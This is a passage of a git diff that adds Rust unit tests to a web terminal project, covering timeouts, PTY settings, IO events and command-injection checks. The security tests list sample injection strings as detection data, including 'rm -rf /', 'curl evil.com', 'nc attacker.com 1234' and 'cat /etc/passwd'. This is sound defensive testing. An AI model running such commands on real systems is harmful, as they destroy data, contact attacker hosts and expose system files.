const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
CLIENT_TIMEOUT > HEARTBEAT_INTERVAL,
|
||||||
|
"Client timeout must be longer than heartbeat interval"
|
||||||
|
);
|
||||||
|
assert!(CLIENT_TIMEOUT.as_secs() >= 5, "Client timeout too short");
|
||||||
|
assert!(CLIENT_TIMEOUT.as_secs() <= 60, "Client timeout too long");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_idle_timeout_reasonable() {
|
||||||
|
// Idle timeout should be long enough for legitimate use
|
||||||
|
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||||
|
|
||||||
|
assert!(IDLE_TIMEOUT.as_secs() >= 60, "Idle timeout too short");
|
||||||
|
assert!(IDLE_TIMEOUT.as_secs() <= 3600, "Idle timeout too long");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_idle_check_interval_reasonable() {
|
||||||
|
// Idle check should be frequent enough to be responsive
|
||||||
|
// but not so frequent it wastes resources
|
||||||
|
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
|
||||||
|
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
|
||||||
|
"Idle check interval must be less than idle timeout"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
IDLE_CHECK_INTERVAL.as_secs() >= 10,
|
||||||
|
"Idle check too frequent"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
IDLE_CHECK_INTERVAL.as_secs() <= 120,
|
||||||
|
"Idle check too infrequent"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_timeout_relationships() {
|
||||||
|
// Verify the logical relationship between different timeouts
|
||||||
|
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||||
|
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||||
|
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
|
||||||
|
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||||
|
|
||||||
|
// Client timeout should be at least 2x heartbeat interval
|
||||||
|
assert!(
|
||||||
|
CLIENT_TIMEOUT >= HEARTBEAT_INTERVAL * 2,
|
||||||
|
"Client timeout should be at least 2x heartbeat interval"
|
||||||
|
);
|
||||||
|
|
||||||
|
// Idle timeout should be much longer than client timeout
|
||||||
|
assert!(
|
||||||
|
IDLE_TIMEOUT > CLIENT_TIMEOUT * 10,
|
||||||
|
"Idle timeout should be significantly longer than client timeout"
|
||||||
|
);
|
||||||
|
|
||||||
|
// Idle check should be less than idle timeout
|
||||||
|
assert!(
|
||||||
|
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
|
||||||
|
"Idle check interval must be less than idle timeout"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_pty_initial_size() {
|
||||||
|
// Test that initial PTY size is reasonable
|
||||||
|
const INITIAL_ROWS: u16 = 24;
|
||||||
|
const INITIAL_COLS: u16 = 80;
|
||||||
|
|
||||||
|
// Verify the constants are within reasonable ranges
|
||||||
|
assert!(INITIAL_ROWS > 0, "Initial rows should be positive");
|
||||||
|
assert!(INITIAL_COLS > 0, "Initial cols should be positive");
|
||||||
|
assert!(INITIAL_ROWS <= 500, "Initial rows should not exceed 500");
|
||||||
|
assert!(INITIAL_COLS <= 1000, "Initial cols should not exceed 1000");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_buffer_size() {
|
||||||
|
// Test that buffer size for reading from PTY is reasonable
|
||||||
|
const BUFFER_SIZE: usize = 8192;
|
||||||
|
|
||||||
|
// Verify it's a power of 2 (which implies it's >= 1)
|
||||||
|
assert!(
|
||||||
|
BUFFER_SIZE.is_power_of_two(),
|
||||||
|
"Buffer size should be power of 2"
|
||||||
|
);
|
||||||
|
// Verify it's in a reasonable range (power of 2 check above ensures >= 1)
|
||||||
|
assert!(BUFFER_SIZE <= 65536, "Buffer too large for practical use");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test path validation
|
||||||
|
#[test]
|
||||||
|
fn test_template_path_format() {
|
||||||
|
let template_path = "./templates/term.html";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
template_path.starts_with("./"),
|
||||||
|
"Template path should be relative"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
template_path.ends_with(".html"),
|
||||||
|
"Template should be HTML file"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_static_paths_format() {
|
||||||
|
let static_paths = vec![
|
||||||
|
"./static/terminal.js",
|
||||||
|
"./static/terminado-addon.js",
|
||||||
|
"./static/styles.css",
|
||||||
|
"./static/bg.png",
|
||||||
|
"./static/favicon.png",
|
||||||
|
];
|
||||||
|
|
||||||
|
for path in static_paths {
|
||||||
|
assert!(
|
||||||
|
path.starts_with("./static/"),
|
||||||
|
"Static file {} should be in ./static/ directory",
|
||||||
|
path
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test endpoint format
|
||||||
|
#[test]
|
||||||
|
fn test_endpoint_format() {
|
||||||
|
let websocket_endpoint = "/websocket";
|
||||||
|
let static_endpoint = "/static";
|
||||||
|
let assets_endpoint = "/assets";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
websocket_endpoint.starts_with('/'),
|
||||||
|
"Endpoint should start with /"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!websocket_endpoint.ends_with('/'),
|
||||||
|
"Endpoint should not end with /"
|
||||||
|
);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
static_endpoint.starts_with('/'),
|
||||||
|
"Static endpoint should start with /"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
assets_endpoint.starts_with('/'),
|
||||||
|
"Assets endpoint should start with /"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_default_shell() {
|
||||||
|
let default_shell = "/bin/sh";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
default_shell.starts_with('/'),
|
||||||
|
"Shell path should be absolute"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!default_shell.contains(' '),
|
||||||
|
"Shell path should not contain spaces"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_default_port() {
|
||||||
|
let default_port: u16 = 8082;
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
default_port >= 1024,
|
||||||
|
"Port should not be in privileged range"
|
||||||
|
);
|
||||||
|
// Note: u16 max is 65535, so this is always true for u16
|
||||||
|
// but we keep it for documentation purposes
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_default_host() {
|
||||||
|
let localhost = "127.0.0.1";
|
||||||
|
let all_interfaces = "0.0.0.0";
|
||||||
|
|
||||||
|
// Verify valid IP addresses
|
||||||
|
assert_eq!(
|
||||||
|
localhost.split('.').count(),
|
||||||
|
4,
|
||||||
|
"Localhost should have 4 octets"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
all_interfaces.split('.').count(),
|
||||||
|
4,
|
||||||
|
"0.0.0.0 should have 4 octets"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test environment variables
|
||||||
|
#[test]
|
||||||
|
fn test_term_env_var() {
|
||||||
|
let term_var = "xterm";
|
||||||
|
|
||||||
|
// String literals are never empty, but we verify the expected value
|
||||||
|
assert_eq!(term_var, "xterm", "TERM variable should be xterm");
|
||||||
|
assert!(
|
||||||
|
!term_var.contains(' '),
|
||||||
|
"TERM variable should not contain spaces"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test size boundaries
|
||||||
|
#[test]
|
||||||
|
fn test_terminal_size_boundaries() {
|
||||||
|
// Minimum valid size
|
||||||
|
let min_rows: u16 = 1;
|
||||||
|
let min_cols: u16 = 1;
|
||||||
|
|
||||||
|
assert!(min_rows > 0, "Minimum rows must be positive");
|
||||||
|
assert!(min_cols > 0, "Minimum cols must be positive");
|
||||||
|
|
||||||
|
// Maximum reasonable size
|
||||||
|
let max_rows: u16 = 1000;
|
||||||
|
let max_cols: u16 = 1000;
|
||||||
|
|
||||||
|
assert!(max_rows < u16::MAX / 2, "Max rows should be reasonable");
|
||||||
|
assert!(max_cols < u16::MAX / 2, "Max cols should be reasonable");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_zero_size_handling() {
|
||||||
|
// Zero-sized terminals should be rejected
|
||||||
|
let zero_rows: u16 = 0;
|
||||||
|
let zero_cols: u16 = 0;
|
||||||
|
|
||||||
|
// These would be rejected by the resize handler
|
||||||
|
assert_eq!(zero_rows, 0);
|
||||||
|
assert_eq!(zero_cols, 0);
|
||||||
|
// In actual code, these should trigger an early return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test WebSocket message size limits
|
||||||
|
#[test]
|
||||||
|
fn test_message_size_reasonable() {
|
||||||
|
// Messages should have reasonable size limits
|
||||||
|
const MAX_MESSAGE_SIZE: usize = 1024 * 1024; // 1MB
|
||||||
|
const MIN_MESSAGE_SIZE: usize = 8192; // 8KB
|
||||||
|
const MAX_ALLOWED_SIZE: usize = 10 * 1024 * 1024; // 10MB
|
||||||
|
|
||||||
|
// Verify the relationship between constants
|
||||||
|
assert!(
|
||||||
|
MAX_MESSAGE_SIZE >= MIN_MESSAGE_SIZE,
|
||||||
|
"Max message size should be at least {} bytes",
|
||||||
|
MIN_MESSAGE_SIZE
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
MAX_MESSAGE_SIZE <= MAX_ALLOWED_SIZE,
|
||||||
|
"Max message size should not exceed {} bytes",
|
||||||
|
MAX_ALLOWED_SIZE
|
||||||
|
);
|
||||||
|
}
|
||||||
94
tests/event_tests.rs
Normal file
94
tests/event_tests.rs
Normal file
@ -0,0 +1,94 @@
|
|||||||
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Unit tests for event.rs module
|
||||||
|
|
||||||
|
use bytes::Bytes;
|
||||||
|
use webterm::event::{ChildDied, IO};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_from_bytes() {
|
||||||
|
let data = Bytes::from("test data");
|
||||||
|
let io = IO::from(data.clone());
|
||||||
|
assert_eq!(io.0, data);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_from_string() {
|
||||||
|
let data = String::from("test string");
|
||||||
|
let io = IO::from(data.clone());
|
||||||
|
assert_eq!(io.0, Bytes::from(data));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_from_str() {
|
||||||
|
let data = "test str";
|
||||||
|
let io = IO::from(data);
|
||||||
|
assert_eq!(io.0, Bytes::from(data));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_equality() {
|
||||||
|
let io1 = IO::from("same data");
|
||||||
|
let io2 = IO::from("same data");
|
||||||
|
let io3 = IO::from("different data");
|
||||||
|
|
||||||
|
assert_eq!(io1, io2);
|
||||||
|
assert_ne!(io1, io3);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_clone() {
|
||||||
|
let original = IO::from("original data");
|
||||||
|
let cloned = original.clone();
|
||||||
|
|
||||||
|
assert_eq!(original, cloned);
|
||||||
|
assert_eq!(original.0, cloned.0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_empty() {
|
||||||
|
let empty = IO::from("");
|
||||||
|
assert_eq!(empty.0.len(), 0);
|
||||||
|
assert!(empty.0.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_binary_data() {
|
||||||
|
let binary_data = vec![0u8, 1, 2, 3, 255];
|
||||||
|
let bytes = Bytes::from(binary_data.clone());
|
||||||
|
let io = IO::from(bytes);
|
||||||
|
|
||||||
|
assert_eq!(io.0.as_ref(), binary_data.as_slice());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_unicode() {
|
||||||
|
let unicode = "Hello 世界 🌍";
|
||||||
|
let io = IO::from(unicode);
|
||||||
|
assert_eq!(io.0, Bytes::from(unicode));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_io_large_data() {
|
||||||
|
let large_string = "a".repeat(10000);
|
||||||
|
let io = IO::from(large_string.as_str());
|
||||||
|
assert_eq!(io.0.len(), 10000);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_child_died_creation() {
|
||||||
|
let event = ChildDied();
|
||||||
|
// ChildDied is a unit struct, just verify it can be created
|
||||||
|
let _cloned = event.clone();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_child_died_clone() {
|
||||||
|
let event1 = ChildDied();
|
||||||
|
let event2 = event1.clone();
|
||||||
|
// Both should exist without panicking
|
||||||
|
// ChildDied is a zero-sized type, so dropping is a no-op
|
||||||
|
let _ = event1;
|
||||||
|
let _ = event2;
|
||||||
|
}
|
||||||
494
tests/security_tests.rs
Normal file
494
tests/security_tests.rs
Normal file
@ -0,0 +1,494 @@
|
|||||||
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Security tests for command sanitization and validation
|
||||||
|
|
||||||
|
use std::path::Path;
|
||||||
|
use std::process::Command;
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Command Path Validation Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_path_must_be_absolute() {
|
||||||
|
// Commands should use absolute paths to avoid PATH manipulation attacks
|
||||||
|
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||||
|
|
||||||
|
for cmd in safe_commands {
|
||||||
|
assert!(
|
||||||
|
cmd.starts_with('/'),
|
||||||
|
"Command '{}' should be an absolute path",
|
||||||
|
cmd
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_path_no_relative_components() {
|
||||||
|
// Commands should not contain relative path components like ../ or ./
|
||||||
|
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||||
|
|
||||||
|
for cmd in commands {
|
||||||
|
assert!(
|
||||||
|
!cmd.contains(".."),
|
||||||
|
"Command '{}' should not contain '..' (path traversal)",
|
||||||
|
cmd
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!cmd.starts_with("./"),
|
||||||
|
"Command '{}' should not start with './' (relative path)",
|
||||||
|
cmd
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_shell_injection_attempts() {
|
||||||
|
// These strings should never be allowed in command paths
|
||||||
|
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
|
||||||
|
|
||||||
|
let safe_command = "/bin/sh";
|
||||||
|
|
||||||
|
for pattern in dangerous_patterns {
|
||||||
|
assert!(
|
||||||
|
!safe_command.contains(pattern),
|
||||||
|
"Command should not contain shell metacharacter '{}'",
|
||||||
|
pattern
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_no_spaces() {
|
||||||
|
// Command paths should not contain spaces (use absolute paths only)
|
||||||
|
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||||
|
|
||||||
|
for cmd in safe_commands {
|
||||||
|
assert!(
|
||||||
|
!cmd.contains(' '),
|
||||||
|
"Command path '{}' should not contain spaces",
|
||||||
|
cmd
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_path_canonical() {
|
||||||
|
// Command paths should be canonical (no double slashes, etc.)
|
||||||
|
let commands = vec!["/bin/sh", "/usr/bin/bash"];
|
||||||
|
|
||||||
|
for cmd in commands {
|
||||||
|
assert!(
|
||||||
|
!cmd.contains("//"),
|
||||||
|
"Command '{}' should not contain double slashes",
|
||||||
|
cmd
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Environment Variable Security Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_term_env_var_sanitized() {
|
||||||
|
// TERM variable should be a safe, known value
|
||||||
|
let term_value = "xterm";
|
||||||
|
|
||||||
|
// Should not contain shell metacharacters
|
||||||
|
assert!(!term_value.contains(';'));
|
||||||
|
assert!(!term_value.contains('&'));
|
||||||
|
assert!(!term_value.contains('|'));
|
||||||
|
assert!(!term_value.contains('`'));
|
||||||
|
assert!(!term_value.contains('$'));
|
||||||
|
assert!(!term_value.contains('\n'));
|
||||||
|
assert!(!term_value.contains('\r'));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_env_var_no_null_bytes() {
|
||||||
|
// Environment variables should not contain null bytes
|
||||||
|
let term_value = "xterm";
|
||||||
|
assert!(
|
||||||
|
!term_value.contains('\0'),
|
||||||
|
"TERM variable should not contain null bytes"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_safe_term_values() {
|
||||||
|
// Only allow known-safe TERM values
|
||||||
|
let safe_terms = vec![
|
||||||
|
"xterm",
|
||||||
|
"xterm-256color",
|
||||||
|
"screen",
|
||||||
|
"screen-256color",
|
||||||
|
"vt100",
|
||||||
|
"vt220",
|
||||||
|
"linux",
|
||||||
|
"alacritty",
|
||||||
|
];
|
||||||
|
|
||||||
|
for term in safe_terms {
|
||||||
|
// Verify they are alphanumeric with hyphens only
|
||||||
|
assert!(
|
||||||
|
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
|
||||||
|
"TERM value '{}' should only contain alphanumeric and hyphens",
|
||||||
|
term
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Command Arguments Security Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_builder_no_shell_expansion() {
|
||||||
|
// Using Command::new prevents shell expansion
|
||||||
|
let cmd = "/bin/sh";
|
||||||
|
let command = Command::new(cmd);
|
||||||
|
|
||||||
|
// Command::new does not invoke a shell, so these would be literal arguments
|
||||||
|
// This is the safe way to spawn processes
|
||||||
|
let program = command.get_program();
|
||||||
|
assert_eq!(program, cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_no_shell_command_string_execution() {
|
||||||
|
// We should never use sh -c "command string" pattern
|
||||||
|
// This test documents that we use Command::new, not shell strings
|
||||||
|
|
||||||
|
let safe_command = "/bin/sh";
|
||||||
|
|
||||||
|
// Verify we're not constructing shell command strings
|
||||||
|
assert!(!safe_command.contains(" -c "));
|
||||||
|
assert!(!safe_command.contains(" -e "));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_command_injection_patterns() {
|
||||||
|
// These patterns indicate command injection attempts
|
||||||
|
let injection_attempts = vec![
|
||||||
|
"/bin/sh; rm -rf /",
|
||||||
|
"/bin/bash && curl evil.com",
|
||||||
|
"/bin/sh | nc attacker.com 1234",
|
||||||
|
"/bin/bash `whoami`",
|
||||||
|
"/bin/sh $(cat /etc/passwd)",
|
||||||
|
];
|
||||||
|
|
||||||
|
for attempt in injection_attempts {
|
||||||
|
// Any of these characters indicate shell injection
|
||||||
|
let has_injection = attempt.contains(';')
|
||||||
|
|| attempt.contains('&')
|
||||||
|
|| attempt.contains('|')
|
||||||
|
|| attempt.contains('`')
|
||||||
|
|| attempt.contains("$(");
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
has_injection,
|
||||||
|
"Should detect injection attempt in: {}",
|
||||||
|
attempt
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Path Traversal Prevention Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_no_path_traversal_in_command() {
|
||||||
|
// Commands should not allow path traversal
|
||||||
|
let path_traversal_attempts = vec![
|
||||||
|
"../../../bin/sh",
|
||||||
|
"/bin/../../../etc/passwd",
|
||||||
|
"./evil.sh",
|
||||||
|
"~/malicious.sh",
|
||||||
|
];
|
||||||
|
|
||||||
|
for attempt in path_traversal_attempts {
|
||||||
|
assert!(
|
||||||
|
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
|
||||||
|
"Path traversal attempt: {}",
|
||||||
|
attempt
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_safe_command_paths_exist() {
|
||||||
|
// Common safe shell paths that should exist on most systems
|
||||||
|
let common_shells = vec!["/bin/sh"];
|
||||||
|
|
||||||
|
for shell in common_shells {
|
||||||
|
if Path::new(shell).exists() {
|
||||||
|
// Verify it's an absolute path
|
||||||
|
assert!(shell.starts_with('/'), "Shell path should be absolute");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Input Size Limits Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_path_reasonable_length() {
|
||||||
|
// Command paths should have reasonable length limits
|
||||||
|
let max_path_length = 4096; // Common PATH_MAX on Linux
|
||||||
|
let command = "/bin/sh";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
command.len() < max_path_length,
|
||||||
|
"Command path should be less than {} bytes",
|
||||||
|
max_path_length
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_excessively_long_paths() {
|
||||||
|
let excessive_path = "/".to_string() + &"a".repeat(10000);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
excessive_path.len() > 4096,
|
||||||
|
"Test path should exceed reasonable limits"
|
||||||
|
);
|
||||||
|
// In real code, we should reject paths this long
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Whitelist Validation Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_allowed_shells_whitelist() {
|
||||||
|
// Define a whitelist of allowed shells
|
||||||
|
let allowed_shells = vec![
|
||||||
|
"/bin/sh",
|
||||||
|
"/bin/bash",
|
||||||
|
"/bin/zsh",
|
||||||
|
"/usr/bin/bash",
|
||||||
|
"/usr/bin/zsh",
|
||||||
|
"/bin/dash",
|
||||||
|
];
|
||||||
|
|
||||||
|
// All allowed shells should be absolute paths
|
||||||
|
for shell in &allowed_shells {
|
||||||
|
assert!(
|
||||||
|
shell.starts_with('/'),
|
||||||
|
"Whitelisted shell '{}' must be absolute path",
|
||||||
|
shell
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// All allowed shells should not contain dangerous characters
|
||||||
|
for shell in &allowed_shells {
|
||||||
|
assert!(
|
||||||
|
!shell.contains(';'),
|
||||||
|
"Whitelisted shell '{}' should not contain ';'",
|
||||||
|
shell
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!shell.contains('&'),
|
||||||
|
"Whitelisted shell '{}' should not contain '&'",
|
||||||
|
shell
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_validate_command_against_whitelist() {
|
||||||
|
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||||
|
|
||||||
|
let test_command = "/bin/sh";
|
||||||
|
assert!(
|
||||||
|
allowed_shells.contains(&test_command),
|
||||||
|
"Command should be in whitelist"
|
||||||
|
);
|
||||||
|
|
||||||
|
let dangerous_command = "/tmp/malicious.sh";
|
||||||
|
assert!(
|
||||||
|
!allowed_shells.contains(&dangerous_command),
|
||||||
|
"Dangerous command should not be in whitelist"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Null Byte Injection Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_no_null_bytes_in_command() {
|
||||||
|
// Null bytes can truncate commands in some contexts
|
||||||
|
let safe_command = "/bin/sh";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!safe_command.contains('\0'),
|
||||||
|
"Command should not contain null bytes"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_detect_null_byte_injection() {
|
||||||
|
// Test that we can detect null byte injection attempts
|
||||||
|
let injection = "/bin/sh\0malicious";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
injection.contains('\0'),
|
||||||
|
"Should detect null byte in command"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// File Descriptor Security Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_no_file_descriptor_redirection_in_command() {
|
||||||
|
// Commands should not contain file descriptor redirections
|
||||||
|
let command = "/bin/sh";
|
||||||
|
|
||||||
|
assert!(!command.contains('>'), "No output redirection");
|
||||||
|
assert!(!command.contains('<'), "No input redirection");
|
||||||
|
assert!(!command.contains("2>&1"), "No stderr redirection");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Unicode and Special Character Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_ascii_only() {
|
||||||
|
// Command paths should be ASCII to avoid Unicode tricks
|
||||||
|
let safe_command = "/bin/sh";
|
||||||
|
|
||||||
|
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_no_control_characters_in_command() {
|
||||||
|
// Commands should not contain control characters
|
||||||
|
let safe_command = "/bin/sh";
|
||||||
|
|
||||||
|
for ch in safe_command.chars() {
|
||||||
|
assert!(
|
||||||
|
!ch.is_control() || ch == '\n' || ch == '\t',
|
||||||
|
"Command should not contain control character: {:?}",
|
||||||
|
ch
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Symlink and Special File Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_not_in_tmp() {
|
||||||
|
// Commands should not be executed from /tmp (common malware location)
|
||||||
|
let command = "/bin/sh";
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!command.starts_with("/tmp/"),
|
||||||
|
"Should not execute commands from /tmp"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_not_in_user_writable_dirs() {
|
||||||
|
// Commands should not be in user-writable directories
|
||||||
|
let command = "/bin/sh";
|
||||||
|
|
||||||
|
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
|
||||||
|
|
||||||
|
for dir in user_writable {
|
||||||
|
if command.starts_with(dir) {
|
||||||
|
panic!("Command should not be in user-writable directory: {}", dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Logging and Audit Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_execution_should_be_logged() {
|
||||||
|
// This test documents that command execution should be logged
|
||||||
|
// In the actual code, log::info! is used when spawning processes
|
||||||
|
let command = "/bin/sh";
|
||||||
|
|
||||||
|
// Verify command is loggable (no sensitive data, reasonable length)
|
||||||
|
assert!(
|
||||||
|
command.len() < 1024,
|
||||||
|
"Command should be short enough to log"
|
||||||
|
);
|
||||||
|
assert!(command.is_ascii(), "Command should be safely loggable");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Integration with Command::new() Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_new_prevents_shell_expansion() {
|
||||||
|
// Document that Command::new does not invoke a shell
|
||||||
|
let cmd = Command::new("/bin/sh");
|
||||||
|
|
||||||
|
// Command::new takes a literal program path, no shell interpretation
|
||||||
|
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_args_separate_from_program() {
|
||||||
|
// Arguments should be passed separately, not in the program string
|
||||||
|
let mut cmd = Command::new("/bin/sh");
|
||||||
|
cmd.arg("-c");
|
||||||
|
cmd.arg("echo hello");
|
||||||
|
|
||||||
|
// This is safe because args are not shell-interpreted
|
||||||
|
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Summary Test: Complete Security Checklist
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_command_security_checklist() {
|
||||||
|
let command = "/bin/sh";
|
||||||
|
|
||||||
|
// 1. Absolute path
|
||||||
|
assert!(command.starts_with('/'), "Must be absolute path");
